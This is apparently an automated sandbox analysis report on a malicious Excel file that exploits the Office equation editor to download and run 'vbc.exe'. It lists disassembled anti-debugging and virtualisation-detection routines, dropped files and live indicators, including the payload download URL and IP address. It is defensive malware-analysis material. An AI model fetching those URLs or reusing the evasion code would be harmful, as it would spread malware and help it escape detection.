Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000003757598 second address: 0000000003757598 instructions: 0x00000000 rdtsc 0x00000002 mov eax, E840912Fh 0x00000007 xor eax, 7A8A25B6h 0x0000000c xor eax, E8404D81h 0x00000011 xor eax, 7A8AF919h 0x00000016 cpuid 0x00000018 popad 0x00000019 call 00007F7440E86D88h 0x0000001e lfence 0x00000021 mov edx, 2E6725F1h 0x00000026 add edx, 02DF62A2h 0x0000002c xor edx, 717DB16Fh 0x00000032 xor edx, 3FC539E8h 0x00000038 mov edx, dword ptr [edx] 0x0000003a lfence 0x0000003d test al, al 0x0000003f cmp si, 2DCDh 0x00000044 test edx, edx 0x00000046 test al, 03h 0x00000048 ret 0x00000049 sub edx, esi 0x0000004b ret 0x0000004c add edi, edx 0x0000004e dec dword ptr [ebp+000000F8h] 0x00000054 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000005b jne 00007F7440E86D68h 0x0000005d test edx, edx 0x0000005f cmp ah, ch 0x00000061 call 00007F7440E86DCAh 0x00000066 call 00007F7440E86DA9h 0x0000006b lfence 0x0000006e mov edx, 2E6725F1h 0x00000073 add edx, 02DF62A2h 0x00000079 xor edx, 717DB16Fh 0x0000007f xor edx, 3FC539E8h 0x00000085 mov edx, dword ptr [edx] 0x00000087 lfence 0x0000008a test al, al 0x0000008c cmp si, 2DCDh 0x00000091 test edx, edx 0x00000093 test al, 03h 0x00000095 ret 0x00000096 mov esi, edx 0x00000098 pushad 0x00000099 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2820 Thread sleep time: -360000s >= -30000s Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 4_2_037575E7 rdtsc 4_2_037575E7
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406873 FindFirstFileW,FindClose, 4_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: vbc.exe, 00000004.00000002.677054111.00000000008D4000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging
barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_729A1BFF
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 4_2_037575E7 rdtsc 4_2_037575E7
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375374E mov eax, dword ptr fs:[00000030h] 4_2_0375374E
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375452E mov eax, dword ptr fs:[00000030h] 4_2_0375452E
Source: C:\Users\Public\vbc.exe Code function: 4_2_037539E7 mov eax, dword ptr fs:[00000030h] 4_2_037539E7
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757C3A mov eax, dword ptr fs:[00000030h] 4_2_03757C3A
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757E25 mov eax, dword ptr fs:[00000030h] 4_2_03757E25
Source: C:\Users\Public\vbc.exe Code function: 4_2_03757223 mov eax, dword ptr fs:[00000030h] 4_2_03757223
Source: C:\Users\Public\vbc.exe Code function: 4_2_03753A11 mov eax, dword ptr fs:[00000030h] 4_2_03753A11
Source: C:\Users\Public\vbc.exe Code function: 4_2_03756E03 mov eax, dword ptr fs:[00000030h] 4_2_03756E03
Source: C:\Users\Public\vbc.exe Code function: 4_2_0375588D mov eax, dword ptr fs:[00000030h] 4_2_0375588D
Source: C:\Users\Public\vbc.exe Code function: 4_2_03758A91 RtlAddVectoredExceptionHandler, 4_2_03758A91

HIPS / PFW / Operating System Protection Evasion
barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: vbc.exe, 00000004.00000002.677080565.00000000009B0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000004.00000002.677080565.00000000009B0000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: vbc.exe, 00000004.00000002.677080565.00000000009B0000.00000002.00020000.sdmp Binary or memory string: Program Manager<
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040352D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 557639 Sample: listing new.xlsx Startdate: 21/01/2022 Architecture: WINDOWS Score: 100 29 Found malware configuration 2->29 31 Antivirus detection for URL or domain 2->31 33 Multi AV Scanner detection for submitted file 2->33 35 9 other signatures 2->35 6 EQNEDT32.EXE 12 2->6         started        11 EXCEL.EXE 33 27 2->11         started        process3 dnsIp4 27 50.16.4.125, 49165, 80 AMAZON-AESUS United States 6->27 17 C:\Users\user\AppData\Local\...\raki[1].exe, PE32 6->17 dropped 19 C:\Users\Public\vbc.exe, PE32 6->19 dropped 37 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->37 13 vbc.exe 19 6->13         started        21 C:\Users\user\Desktop\~$listing new.xlsx, data 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\user\AppData\Local\...\System.dll, PE32 13->23 dropped 25 C:\Users\user\...\forbrugersamfundet.dat, DOS 13->25 dropped 39 Tries to detect virtualization through RDTSC time measurements 13->39 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
50.16.4.125
 unknown United States
14618 AMAZON-AESUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://50.16.4.125/E/raki.exe true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://dariamob.ro/wed/eee_XScUCMEVL true
  • Avira URL Cloud: safe
 unknown